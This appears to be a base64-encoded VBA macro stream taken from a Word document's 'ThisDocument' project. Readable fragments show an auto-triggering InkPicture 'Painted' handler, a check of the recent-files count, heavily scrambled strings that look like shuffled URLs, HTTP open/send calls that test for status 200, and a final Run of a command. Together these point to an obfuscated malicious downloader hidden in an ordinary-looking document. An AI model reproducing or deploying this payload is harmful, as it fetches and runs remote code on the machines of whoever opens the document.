bG5pcFouSS8vZHR5OyAuLndiTVQuICkgZXppO2NFVCBsZVdtbDZTYXRuYUMwRTQ1b2llIACsAF8C rADrAiQAUAIDACAAVgIlAGACAgBBQFgCAQD//yAAVgIhAGYCQUBYAgEA//8gAFYCIQBoAqwAyAAF AJwAIABWAiEAagInAEwCJQAAAGsA//9oAQAAaQD//2ABAACWGFgCAAAAALYADwBUbGVqWVJyVlVl ZVB3ZnIArACaAKwAmwAkAFACAwAnAGIC//9pAP//KAEAAJYYuAIAAAAAtgA3AG1PeS5wZC93bC1u dGFld0N0bXBwbS9zY2FLLWNzcmwuVm1kdGRud3NlaWgtLy9zYXhoaW86ZW8ArAAHAqwAmAAkAFAC AwAnAGQCAABpAP//yAAAAJYYGAMAAAAAtgAyADovYUpvaC93dGl3Z3AuLm0uSWkvY3htbXR2d3lu cmVzMW1lY1pwL2ltTi90MncvZFdvrACpAKwAMQEkAFACAwAnAFwCaQD//3AAAACWGHgDAAAAALcA JwBeAgAAaQD//1gAAACWGNgDAAAAALYACwBvRXJyVFBkeERHZgCsACQArAAqACQAUAIDACcAWgKU AAADAABpAP//IAAAAJYYOAQAAAAAIABsAiQAcgIBACAAbgIkAHICAQAkAHACAgCsAAAABgAnAE4C OQAxAGkA///oAwAAlhjYBAAAAAD/ACAAbgL+ACAAdAKTAAAAIABsAiAAbgIkAE4CAgCbAEcAmgB2 AmoA/wDHALADAAB6AP//qAMAAKMAdgKgAwAAtwQnAFICAABpAP//kAMAAJYUeAUAAAAAbwD//4AD AACWGNgFAAAAAKYAJAAzAAAAYAAAAI0AAAC6AAAA5wAAABQBAABBAQAAbgEAAJsBAAC2ABEAcERN RFRJSVFERW1DTEVEekEArABrAKwAXQAkAFACAwC2ABAAVHRFbml0cm9GcVh1RHhIU6wALwCsABgA JABQAgMAtgAZAFNzb0FNdGFRbm1jQWVLQnJwS0JyQ0xvVW8ArABrAKwAWQAkAFACAwC2ABsAUU5U U2VrR0dzb3J5Q1pJIGxMT1VIc0V0ZE9uAKwAPgCsAAgBJABQAgMAtgAQAEd6UkF3UWNwRUViVlBs c0WsAKsArABdACQAUAIDALYAEABtSmF0Y2V1SUJ0eG9NRWFsrACXAKwAiAAkAFACAwC2AA8AbGtu TkV5anVBUWFDclRGAKwAMQCsADAAJABQAgMAtgAQAGlDSXJpTU9OZWdFRE1PSWmsAJMArACVACQA UAIDALYADwBnTWxRRHZ0ZFphenFWVXEArABPAKwASAAkAFACAwC2AA0ASU9DU0ljWUprcEJlRACs ABkArABTACQAUAIDALYAEgBDZW9TTVRSUk5xRGlSY09kWnSsAJcArACnACQAUAIDALYAEgB0dFRB ZURPUkFmdm5BcWVDaGGsAGEArAC5ACQAUAIDALYADgBWQ3Vwck5MT2RRZkplbqwAGQCsAFMAJABQ AgMAtgARAG9IWVBPbGVTcEEgVEhtbUxhAKwAsACsABQAJABQAgMAtgARAFdvc3VORk5ZVWNtUEFv bG5VAKwAegCsALYAJABQAgMAtgAPAHJjZWNoZ1Z3RW5pU1dKRwCsAH8ArAB0ACQAUAIDALYAEABT T2VOblZhdkdSVmplQ3J0rAB9AKwAhQAkAFACAwC2ABAAQlRIa0FveExTbXpwdXVJbKwAUwCsACIA JABQAgMAtgAPAEVQbG5BR0NuU3h6TmpyRgCsAGcArABzACQAUAIDALYAEAB5VGlSdWNlc1dDTWxj QVNTrAAfAKwApwAkAFACAwC2AA4AQ2hpbE9aak95U2xIY1KsAGUArABPACQAUAIDALYADABWb1Ja TXdBRlNZaHKsAB0ArAASACQAUAIDALYADQBRTGxDQ2R3eHV2VU9xAKwASwCsAF8AJABQAgMAtgAS AGR6SmlZdGlTUmVWSU5VcWtMbqwAWQCsAB8AJABQAgMAtgAPAEJrbUZleWVFcklmb3puUACsAIYA rABzACQAUAIDALYAEwBnVmFOS3JEIFRlY0FjZXVidEVyAKwAZACsAGUAJABQAgMAtgARAENkdExr IEphYmdlSE94T1VoAKwApQCsALIAJABQAgMAtgAPAGl2Z3Zoc0lHbWxjZE90bgCsAIAArACaACQA UAIDALYAEwB3T0lkcnpWbGMgRVBuR1JtbnRIAKwAiwCsAM8AJABQAgMAtgASAGFFQkZpQkNOUk9C cnRNcFBPTqwAMQCsACcAJABQAgMAtgARAERTbHNvWkxyVXRjY2ZpS09NAKwAMACsAGUAJABQAgMA tgAPAGZPaFNTWE5VQXYgYWp3UgCsAEQArAAfACQAUAIDALYAEgBFbHJUQm5uWUFqVERKY1VlYXWs AF8ArAC/ACQAUAIDALYADgBVeVpnam9PQU5ZTXdJQawASQCsAIUAJABQAgMAtgATAERSTEppZU5y TlBCREVFUXhRVGYArABsAKwAjwAkAFACAwC2ABAATmVRdU10SklzSG1hRkZjbawAbQCsAHoAJABQ AgMAtgAQAHpkbElEYVlCQ0VDSWFpbUGsAFUArACVACQAUAIDALYAEQB1a01DQ2FrcmVhY1VBUFBu cwCsAJcArACgACQAUAIDALYAEQBvalJ5aXROcnZvSlByIG9ucACsAGQArACdACQAUAIDALYAEgBi c3RORW1uUkVWb0dDWHZkVUmsAEcArAC/ACQAUAIDALYAGABpVHNqYVNXdXZSRU9YdEFOUmtQZEVr VVCsAH0ArACPACQAUAIDALYADwBUaG9kYXZFekV0T0pwUm4ArAAlAKwAPQAkAFACAwC2ABIAbCBp c294LGlFUHJ0SUhTcmVMrACLAKwAGgAkAFACAwC2ABEATnJhdW5TQXRkd0lhanZTRXQArACbAKwA QwAkAFACAwC2ABAAb0xIdlJwVFRkSW5SY2dyb6wAOwCsAHkAJABQAgMAtgAOAFJSZVZyZXNOQ0hX aXl0rAApAKwAFAAkAFACAwC2ABMAU3NlRU5FU0xhSlNBS0dBYkJtRwCsAGMArAC8ACQAUAIDALYA EgBKZVpDaXRlQmhzTkRURXBELmisAIMArAAjACQAUAIDALYADgBqb3lvQnBkRXRzT2hGVKwAYQCs AIkAJABQAgMAtgASAE5pVG5pb3BmT29yUFFpS3J2U6wAIwCsAJsAJABQAgMARAASADIAJABEAgEA JwBUAjgzKSxhKGkA//9QFAAAlhg4BgAAAAC2ABUAbGNRcmppcnBndFMucVNpaGllV2xTAKwAvwCs AOQAJABQAgMAJwBCAjIpLGFpAP//EBQAAJYUmAYAAAAAIAB6AiAAfAIJAJsARwCsAGUAcwBqAFZh bwD//+gTAACWGNgGAAAAACAAfgIhAIACJABEAgEAJwB6Am16cHV1SWkA///AEwAAlhg4BwAAAACs AAMAJwB8AmkA//+oEwAAlhiYBwAAAAAgAIICJwBEAmkA//+QEwAAlhgYCAAAAAC2ALwAZXRlY2pt RDtbcmUnU3R4KW5iaUYgd2x3dC52cGU6JGVjZWEkbWFGaklsIGRlVCliby4pPWNuKCBhRXBnZUZL dG9uZXN0aXR0OihOYWlOTW9vZGIuZSwvTnRwT2MpKHBTb2V0UC5taVdwWmNkd055cHJ0c11jKGZs ZXRjbGFPbWgnLy5lbS0udGVtVy9sYy4pdHMubVRlL28oU2lkaHloZTstQ2xELW5vLWVTZTptR3R3 ZW5tdCBkaWVPbCSsAIEDrABHBSQAUAIDACQAhAIBACcASAJpAP//qBIAAJYYeAgAAAAAIACIAiAA hgIRACcAhAI4LGkA//+IEgAAlhj4CAAAAAC2ACYAcCB1aGJvYXJwLWZ3LXMgcGxhLXNleXB2cyBu YmVlIHBvIHNjaGysAIMArACBACQAUAIDACcAiAJEU2xzaQD//zgSAACWFFgJAAAAAP8AIACKAv4A IACMApMAaFMgAIoCIQAGASAAjgIkAFICAgCbAEcArABoAHMAagBubv8AxwD4EQAAbwD///ARAACW GJgJAAAAAKYACAAxAAAAXgAAALYAFwAgRVJVTFhUT1NDcHBtcmlNU09KUHlPTgCsACYArADZACQA UAIDALYADwBzTWZMcE1vbElMVWpWdE8ArABTAKwAKgAkAFACAwC2ABgAbyBPRlRMc1JIUnBTUFdl WEVYZHJlQ1FYrADrAKwAnAAkAFACAwC2AA4AdlZlVW1lc1dmemFUYXKsABEArAAPACQAUAIDALYA FABMZkNBa0lVR1NTb0FJVkJWayBKcqwAiQCsAK8AJABQAgMAtgARAGZySmFSaE1TeGVrclJpdXdL AKwAhgCsACAAJABQAgMAtgAPAHB2SGVDb05JdFllVnN3dwCsAHQArABTACQAUAIDALYADgBUVGNj YW9pSFFVSWN2V6wAIQCsABIAJABQAgMAtgAPAE5JaENBcWFSRWxkZGlGZACsAKQArACUACQAUAID ALYADABuRHR1b1hWRkVYakKsAHEArAA2ACQAUAIDALYAEABjc0xSSGF0SnhWdFdFV212rAA5AKwA nwAkAFACAwBEABIACwAnAI4CaE1TeGVraQD//0AQAACWGPgJAAAAAO0AIACQAi4AjAJvTkl0WWVp AP//IBAAAJYYWAoAAAAAIACYAiAAlAIbACQAnAICACcAmgIzMywgIACSAhsAIACUAhsAIACeAgwA CQBiACIsIACSAiAAlAIgAJoCJACgAgIAEQAnAJICIACaAiAAlgILAB0AIACUAhsAJACcAgIAJwCa AjMpLAC5AP//qA8AAGkA//+gDwAAlhgYCwAAAAAgAKQCJACiAgEAJwCeAgAAaQD//4APAACWGHgL AAAAACAApAIhAKgCJABEAgEAJwCmAgAAFAIAAGkA//9YDwAAlhjYCwAAAAAgAKoCIACsAg0AJwCc AgAAaQD//zgPAACWGHgMAAAAACAArgIhALACJABEAgEAJwCiAgAAHQIAAGkA//8QDwAAlhT4DAAA AAAgALQC0AAgALYCIACuAkJAuAIDACICAABvAP//6A4AAJYYmA0AAAAAIAC6AiAAmgKsAAEACwAk ALwCAgAnAKACaQD//8AOAACWGDgOAAAAAMkEAACwDgAAIACkAqwACAAgAJQCQUCyAgMAAAAtAgAA IACmAiAAlgIgAJgCJACSAgMAJwBQAgAAaQD//3gOAACWGPgOAAAAACAAugIgAJoCJADAAgIArAAB ACQAvgICACcAvAI2AgAAaQD//0gOAACWGJgPAAAAACAAugIgAJoCJADCAgIAJwC+AgAAOwIAAGkA //8gDgAAlhg4EAAAAAAgALoCIACaAiQA3AACACcAwAIAAEACAABpAP//+A0AAJYU2BAAAAAAIADG AiQAxAIBAJsARwCsAGYAcwBqAAAAbwD//9ANAACWGBgRAAAAACAAygIhAAYBJADIAgEAJwDGAgAA SgIAAGkA//+oDQAAlhh4EQAAAAAgAMwCIADMArYACQBWaXRvSHQubUoArABPAKwATgAkAFACAwAk AM4CAgCsAAEADAAkANwAAgAnAMgCAABUAgAAaQD//1gNAACWGPgRAAAAACAAbAIgAG4CJABwAgIA JwDOAgAAWQIAAGkA//8wDQAAlhiYEgAAAACsAAEAJwDQAv8AIACaAv4ArAABACAAugIbAJIAXwIA ACAA0gIgALoCIACaAiQAvAICACQATgICAJwAAABjAgAAIADQAqwAAQALACcA0AIAAGsA///QDAAA /wDHAMgMAAAgANACIACaAgUAJwDEAgAAaQD//7AMAACWGBgTAAAAALYAGAA3RXQ0QmYxOEZaNUNY MjljcTZERTNBbDCsAGcArABfACQAUAIDACcA0gIAAGkA//9wDAAAlhR4EwAAAAAgANQCIADWAgkA mwBHAKwAZwBzAGoAAABvAP//SAwAAJYYuBMAAAAArAAyACcA1gJpAP//MAwAAJYYGBQAAAAAIACM AiQA2AIBACcA1AIAAGkA//8QDAAAlhh4FAAAAAAgANoCIQCAAicA2AKBAgAAaQD///ALAACWGPgU AAAAAO0AIADaAi4APgIAAIUCAABpAP//0AsAAP/////ICwAA/////wAAAeG6AEF0dHJpYnV0AGUg VkJfTmFtAGUgPSAiVGhpAHNEb2N1bWVuEHQiDQoKjEJhcwECjDFOb3JtYWwCLhlWR2xvYmFsIQGq U3BhYwFsRmEIbHNlDKJDcmVhEHRhYmwVH1ByZSBkZWNsYQAGSWQRAJ5UcnUNQkV4cAhvc2UUHFRl bXAAbGF0ZURlcmkCdhUkQ3VzdG9tDGl6hEODMURpbSAAdU5JU3doTSAAQXMgQm9vbGUAYW4NClB1 YmwAaWMgU3ViIEIAZ3JlX1BhaW4AdGVkKEJ5VmEAbCBmZlFycHGBARhMb25nLCCDCkBaa2tXWkWB CkkASW5rUmVjdGEAbmdsZSkNCmQAdmFSaFBoDQq4RW5kgSmKLwQOKIATBElmBkZUaGVuIDBFeGl0 gxeFUT0gQYRbd1B4TUoTKEQLgg2BJ08AIXJyb3IAIEdvVG8gYkgAT0JUdA0KbEgAV0VZWA0KUXMA ZGZSDQp4Y0EAYmpvDQpKeXgATkENCmd0eUkAUE8NClNldCBAQldxc1VwAGRqIGpOenUognFlTwRi aoA2KERRUmcEaSkALWN3WXdxAnXECi5SdW4oUgBFbW5MWUUsIO4wgAfHMMMfOhMtgx0BLYBVRkdQ aENzQB0ASXlFRVRpZw0CCsBFTm90IHFuIEhsTE4oBAgsIABhKCJJTkFFQwBPVGdrVUJ4QgBUQSIs IDQ0LMAgMjApKSBDUII/CDEwNQIRSGZqcwJnxw93UVVHalQKcYwKNg8oRnVuYyB0aW9uIEQkKCk1 QXlTwNVuQCdBSlRkOEltbEFKykgAKDFlAC5wNXB0UnR0AEhlZW5pbXFXAGkuUnBDLnR0AHlzSG52 dWlXAcAsODMsIDEzNQFBU3hkYmlMWW0CIAMULk9wZW4oAG94cUJrbSwgAFpERUFUcSwg4HNjSG9j gFbMCsAhQFJlcXVlc4AaYQBkZXIoWlRWaABPQUQsIEtjZihKd2Y/BigAFnFzAGdDZnJuU1VBAGtX ZWVoYS10iQAUMTchFDg4KYIuADcwMHNsb3IwACh6TjtpZCBvAGwgTWxuaXBaAC5JLy9kdHk7ACAu LndiTVQuACApIGV6aTtjAEVUIGxlV21sADZTYXRuYUMwgEU0NW9pZSDgCgA2MDcsIDc0N2EwH1Nl bmSCNiQhUxB0YXR1oUIyMDAfYjuAA+NDIEVkBFJlcwBwb25zZVRlePPgXIFtSWajOSU4Jm9GOh+E JEs6hAIgCyAiVGxlAGpZUnJWVWVlUFB3ZnLBITWATDH8NTUgKoEMlwsDL2sLYwIBQwttT3kucGQv AHdsLW50YWV3AEN0bXBwbS9zAGNhSy1jc3JsAC5WbWR0ZG53AHNlaWgtLy9zAGF4aGlvOmVvkUAQ NTE5YEY1Ml4QD4NGzBsCSUMQOi9hSgBvaC93dGl3ZwBwLi5tLklpLwBjeG1tdHZ3eQBucmVzMW1l YwBacC9pbU4vdCAydy9kV6EPMTb5oA8zMB8gQlWDD2arYgJ/gA8kxTsoY1/LF2MCwxdvAEVyclRQ ZHhE5EdmoCIzNgCAfyIEiQHDtndDWHpPeEIDJ3rluWJvZW9kST/CvEN9on7GGIMIoBBJboHAA1Jl dihVQyDnPijkCUBl4wHECCCSPD4cIDDdUUOUPBNXbGgoTmNGyxFGwLxFYYhjaCDFFkluIOMEd1I0 JA/ECSxVArRP8mFxAEtBR0JiVQ0K/k7jM8Fnpy3UAeBbIgpwDx+TaO8bdHPUSSRzb3BiiHhZV9Qq U3Vijzgf1FghYKQAMAbDZShBcghyYXnRSXBETUQAVElJUURFbUNQTEVEehFfMUFEOQIzs0lUdEVu aXQAcm9GcVh1RHiUSFNAITQwRjI04wEAU3NvQU10YVEAbm1jQWVLQnLCcDAAQ0xvVUItcQQEODmD AlFOVFNlAGtHR3NvcnlDAFpJIGxMT1VIQHNFdGRPbiAFNgoyQGY2NAVHelJBAHdRY3BFRWJWEFBs c0XwATE3MUQsICIJXw0KIERtAEphdGNldUlCgHR4b01FYWwhAiI1IAIxMzbjBmxrAG5ORXlqdUFR oGFDclRG8AE0EDYCNARXaUNJcmlNAE9OZWdFRE1PTElp4QNRDTE01ApnAE1sUUR2dGRaQGF6cVZV cfABNwngAzcywwVJT0NTAEljWUprcEJlgkSwATI1LCA48RIBwwlDZW9TTVRSAFJOcURpUmNPTGRa El/iCTY3EwR0AHRUQWVET1JBAGZ2bkFxZUNoimFgBDlwFTE4NRMCAFZDdXByTkxP4GRRZkplIRJG BuAPAG9IWVBPbGVTAHBBIFRIbW1MOdEDMTewOoB6EmVXbwBzdU5GTllVY4BtUEFvbG5V4AVkMTJA FjE4MQxzCnKAY2VjaGdWdwAesFNXSkciAiEIMTQUAFNPZU5uVmF2gEdSVmplQ3JSDAlRCDEztCFC VEhrAEFveExTbXpwWHV1SVEYkXczdBxFAFBsbkFHQ25TIHh6TmpyMRgxMAVhbzEkDnlUaVJ1AGNl c1dDTWxjdEFToSUzMRxCEqQUaABpbE9aak95U1BsSGNSEQowEAI3AVQaVm9SWk13QVBGU1loUWQy IBoxARQeUUxsQ0Nkd2B4dXZVT+IbIBo5AXQHZHpKaVl0aQBTUmVWSU5VcZRrTOEVOMADMzGzFwHA gUZleWVFckmgZm96blBhBzMBagOCC4MJZ1ZhTktyQEQgVGVjQYAoYqR0RXJsMDBAZDBkBABDZHRM ayBKYQBiZ2VIT3hPVUpogQQ2gAgxN3UodgBndmhzSUdtbBBjZE90YQgxMjgFEAQ1FBR3T0lkcgB6 VmxjIEVQbsBHUm1udEjCCLAKBDIwpCRhRUJGaQBCQ05ST0JydKBNcFBPTiACNNEMA1ES0wpEU2xz b1oATHJVdGNjZmk4S09NIQKBBqUKZk8AaFNTWE5VQXbQIGFqd4EWNuAB9RAARWxyVEJublkAQWpU REpjVWVUYXXwAzmBDDmkDlUAeVpnam9PQU5wWU13STFE8o11IkQAUkxKaWVOck4AUEJERUVReFHS VLFlMTARCDSxJFMKAE5lUXVNdEpJAHNIbWFGRmNtOUAGMTCADIArcxl6ZABsSURhWUJDRaBDSWFp bXEGOFEIAVU7dWtNQ0NhawHA0WNVQVBQbnMLEQRzNzATBG9qUnkAaXROcnZvSlBgciBvbnAyBkEb NSHkFGJzdE7gtlJFAFZvR0NYdmRVNkkgAtFHMbIOkwppVABzamFTV3V2UgBFT1h0QU5Sa+BQZEVr VZIiEjJSDQGAOlRob2RhdkWAekV0T0pwUgEeCjMQNjZUE2wgaXMAb3gsaUVQcnRASUhTcmVM4Qgz BSAPMiQ4TnJhdW4AU0F0ZHdJYWo4dlNFk0QwD4VEb0wgSHZScFTwmm5S6GNncmFXNSITIQbDCgZS cC5wh05DSFdpGnkBBDQgNIVCU3NlAEVORVNMYUpTgEFLR0FiQm1xQAY5IQTVqUplWkNpAHRlQmhz TkRU8EVwRC5yLJE6ELbSRgBqb3lvQnBkRcB0c09oRlQwDJJMAjMUFU5pVG5pbwBwZk9vclBRafhL cnaCPnEbAJ+Bqh9v+xBvhXIgctH7iiIBwGwAFgBsY1FyamlycABndFMucVNpaHBpZVds8QXQGhBl Mj4475yH6PLa4XHg0ElaAGhGciA8IGJroFRRUEJ5y84xQ4YBVHaztwBibGljIEZ1bgBjdGlvbiBJ WgBoRnIoKSBBcwAgSW50ZWdlcgQNCgJMID0gY3cAWXdxdShSZWMAZW50RmlsZXMALkNvdW50KQ0Q CkVuZAaGDQpQAnULqGJrVFFQQm55DKwEKgCwMx1ABHlCAHlWYWwgalND8E9LcEwAdQMWAEAEEgEd RlJFbW5MWUUBA4dTdHJpbmcNBgoEFIAidk9obkgAWHYoYSgiZXQAZWNqbUQ7W3IAZSdTdHgpbmIA aUYgd2x3dC4gdnBlOiSAgGEkAG1hRmpJbCBkAGVUKWJvLik9AGNuKCBhRXBnAGVGS3RvbmVzAHRp dHQ6KE5hAGlOTW9vZGIuAGUsL050cE9jACkocFNvZXRQAC5taVdwWmNkAHdOeXBydHNdAGMoZmxl dGNsAGFPbWgnLy5lAG0tLnRlbVcvAGxjLil0cy5tAFRlL28oU2lkAGh5aGU7LUNsAEQtbm8tZVNl ADptR3R3ZW5tAHQgZGllT2wkACIsIDg5Nywg4DEzNTEpns0FesNWwEN1YU9BQkF/g0cPAoJFSoQK QEp5dEl2wE1tYSAmIAMMHV4nxAsLXgURPSAAXHAgAHVoYm9hcnAtAGZ3LXMgcGxhAC1zZXlwdnMg AG5iZWUgcG8gEHNjaGyANjEzMQmANjI5FTZTdWIgQEp5eE5BKEAIRgBvciBFYWNoIEBjbENjYnaA tCAgRW15eVrAtGYgQEhmanNnKEMGLgBOYW1lLCBaYgBqZnNZKSBUaEBlbiBFcnKADzEAMDQNCk5l eHR/wziAF8+3gw0BHEMCQEhBEHJyYXlBkiBFUgBVTFhUT1NDcABwbXJpTVNPShBQeU9OQDIzOCxA IDIxNykswT9zAE1mTHBNb2xJQExValZ0T4AHOCAzLCA0MkMHbyAAT0ZUTHNSSFIAcFNQV2VYRVhA ZHJlQ1FYgAkyJDM1wEM1NgMKdlYAZVVtZXNXZnpQYVRhcoAHMQGCNQEDB0xmQ0FrSVUAR1NTb0FJ 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 AAACAJ8IAAAAAAIA3wgAAAAAAgAfCQAAAAACAF8JAAAAAAIAnwkAAAAAAgDfCQAAAAACAB8KAAAA AAIAXwoAAAAAAgCfCgAAAAACAN8KAAAAAAIAHwsAAAAAAgBfCwAAAAACAJ8LAAAAAAIA3wsAAAAA AgAfDAAAAAACAF8MAAAAAAIAnwwAAAAAAgAwAAAADAAAAPzGAAAAAAAAuAAAAAAAAAAMAAAADAAA AAgAAAAAAAAAAAAAAAwAAAAAAAAAAAAAADAAAAAMAAAA/MYAAAAAAAA4AQAAAAAAAAQAAAAMAAAA CAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAMAAAAAwAAAD8xgAAAAAAAHgBAAAAAAAABAAAAAwAAAAI AAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAwAAAADAAAAPzGAAAAAAAAuAEAAAAAAAAEAAAADAAAAAgA AAAAAAAAAAAAAAwAAAAAAAAAAAAAADAAAAAMAAAA/MYAAAAAAAD4AQAAAAAAAAgAAAAMAAAACAAA AAAAAAAAAAAADAAAAAAAAAAAAAAAMAAAAAwAAAD8xgAAAAAAAFgCAAAAAAAACAAAAAwAAAAIAAAA AAAAAAAAAAAMAAAAAAAAAAAAAAAwAAAADAAAAPzGAAAAAAAAuAIAAAAAAAAIAAAADAAAAAgAAAAA AAAAAAAAAAwAAAAAAAAAAAAAADAAAAAMAAAA/MYAAAAAAAAYAwAAAAAAAAgAAAAMAAAACAAAAAAA AAAAAAAADAAAAAAAAAAAAAAAMAAAAAwAAAD8xgAAAAAAAHgDAAAAAAAACAAAAAwAAAAIAAAAAAAA AAAAAAAMAAAAAAAAAAAAAAAwAAAADAAAAPzGAAAAAAAA2AMAAAAAAAAIAAAADAAAAAgAAAAAAAAA AAAAAAwAAAAAAAAAAAAAADAAAAAMAAAA/MYAAAAAAAA4BAAAAAAAABAAAAAMAAAACAAAAAAAAAAA AAAADAAAAAAAAAAAAAAAMAAAAAwAAAD8xgAAAAAAANgEAAAAAAAAHAAAAAwAAAAIAAAAAAAAAAAA AAAMAAAAAAAAAAAAAAAwAAAADAAAAPzGAAAAAAAAeAUAAAAAAAAUAAAADAAAAAgAAAAAAAAAAAAA AAwAAAAAAAAAAAAAADAAAAAMAAAA/MYAAAAAAADYBQAAAAAAAAgAAAAMAAAACAAAAAAAAAAAAAAA DAAAAAAAAAAAAAAAMAAAAAwAAAD8xgAAAAAAADgGAAAAAAAACAAAAAwAAAAIAAAAAAAAAAAAAAAM AAAAAAAAAAAAAAAwAAAADAAAAPzGAAAAAAAAmAYAAAAAAAAEAAAADAAAAAgAAAAAAAAAAAAAAAwA AAAAAAAAAAAAADAAAAAMAAAA/MYAAAAAAADYBgAAAAAAAAgAAAAMAAAACAAAAAAAAAAAAAAADAAA AAAAAAAAAAAAMAAAAAwAAAD8xgAAAAAAADgHAAAAAAAACAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAA AAAAAAAAAAAwAAAADAAAAPzGAAAAAAAAmAcAAAAAAAAYAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAA AAAAAAAAADAAAAAMAAAA/MYAAAAAAAAYCAAAAAAAAAgAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAA AAAAAAAAMAAAAAwAAAD8xgAAAAAAAHgIAAAAAAAADAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAAAAAA AAAAAAAwAAAADAAAAPzGAAAAAAAA+AgAAAAAAAAIAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAAAAAA AAAAADAAAAAMAAAA/MYAAAAAAABYCQAAAAAAAAQAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAA AAAAMAAAAAwAAAD8xgAAAAAAAJgJAAAAAAAACAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAAAAAAAAAA AAAwAAAADAAAAPzGAAAAAAAA+AkAAAAAAAAIAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAAAAAAAAAA ADAAAAAMAAAA/MYAAAAAAABYCgAAAAAAABQAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAA MAAAAAwAAAD8xgAAAAAAABgLAAAAAAAACAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAw AAAADAAAAPzGAAAAAAAAeAsAAAAAAAAIAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAAAAAAAAAAADAA AAAMAAAA/MYAAAAAAADYCwAAAAAAABAAAAAMAAAACAAAAAAAAAAAAAAADAAAAAAAAAAAAAAAMAAA AAwAAAD8xgAAAAAAAHgMAAAAAAAAGAAAAAwAAAAIAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAwAAAA DAAAAPzGAAAAAAAA+AwAAAAAAAAcAAAADAAAAAgAAAAAAAAAAAAAAAwAAAAAAAAAAAAAADAAAAAM 